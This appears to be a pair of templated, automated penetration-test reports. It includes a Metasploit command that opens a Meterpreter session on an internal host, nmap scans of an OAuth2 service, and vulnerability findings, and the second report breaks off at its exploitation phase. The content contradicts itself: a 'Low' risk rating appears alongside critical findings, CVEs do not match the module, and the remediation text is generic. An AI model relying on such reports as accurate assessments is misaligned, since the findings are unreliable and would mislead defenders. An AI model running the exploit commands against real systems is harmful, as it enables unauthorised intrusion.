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Tool: Metasploit Framework 6.1
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Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.91.55; set RPORT 80; exploit"
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Output:
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[*] Exploiting known vulnerabilities:
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- CVE-2021-23017 (CVE-2021-23017)
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- CVE-2022-41741 (CVE-2022-41741)
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[*] Started reverse TCP handler on port 80
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[*] Sending payload...
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[*] Sending stage (516 bytes)
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[*] Meterpreter session 9 opened
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[*] Session established
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[*] Gained www-data access
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[*] Connected to 192.168.91.55
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[*] Post-exploitation modules available:
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- shell
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- php_eval
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- file_upload
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=== Final Assessment ===
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Overall Risk Rating: Low
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Confidence Level: Low
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Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation
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Key Findings:
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- 3 critical vulnerabilities identified
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- 4 high risk issues found
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- System configuration needs hardening
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Recommendations:
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1. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
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2. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
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3. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
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Next Steps:
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- Address critical vulnerabilities within 24 hours
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- Remediate high risk findings within 7 days
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- Schedule retesting after fixes are implemented
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- Conduct developer security training focusing on OWASP Top 10
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--- END REPORT ---
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=== Automated Penetration Test Report ===
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Test ID: PT-2025-05-11-0102
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Date: 2025-05-11 19:07:19
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Tester: asmith
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Organization: Acme Security
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Confidentiality: STRICTLY CONFIDENTIAL
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Test Objective: execute penetration testing on the OAuth2 authentication service (10.137.201.82)
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Scope: Internal security assessment
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Rules of Engagement: Standard
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=== Discovery Phase ===
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Tester: nmap -sV -O --script=banner -p80 10.137.201.82
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Tool Output:
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Starting Nmap 7.92 at 2025-05-11 19:07:19
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Nmap scan report for 10.137.201.82
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Host is up (0.43s latency).
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MAC Address: B2:A2:D9:EB:29:4F (Amazon)
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80/tcp open http nginx/1.18.0
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OS details: Linux 4.15.0-112-generic
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OS CPE: cpe:/o:linux:linux_kernel:4.15
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Network Distance: 3 hops
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Service Info: Hostname: oauth2-authentication-service-01
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Nmap done: 1 IP address (1 host up) scanned in 6 seconds
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=== Vulnerability Assessment ===
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Tools used:
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- OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection
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- Burp Suite: Manual testing, session analysis, and business logic flaw identification
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- Nmap scripts: Service enumeration and vulnerability verification
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- Metasploit: Exploit verification and proof-of-concept testing
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## Vulnerability 1: Insecure Configuration
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CVE: CVE-2020-14750
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CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.4)
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Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review
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Test Method: nmap --script vuln -p80 10.137.201.82
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Result:
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Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low.
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Remediation: See vendor documentation
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## Vulnerability 2: Information Disclosure
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CVE: CVE-2022-15284
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CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3)
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Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review
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Test Method: nmap --script vuln -p80 10.137.201.82
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Result:
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Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile.
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Remediation: See vendor documentation
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=== Exploitation Phase ===
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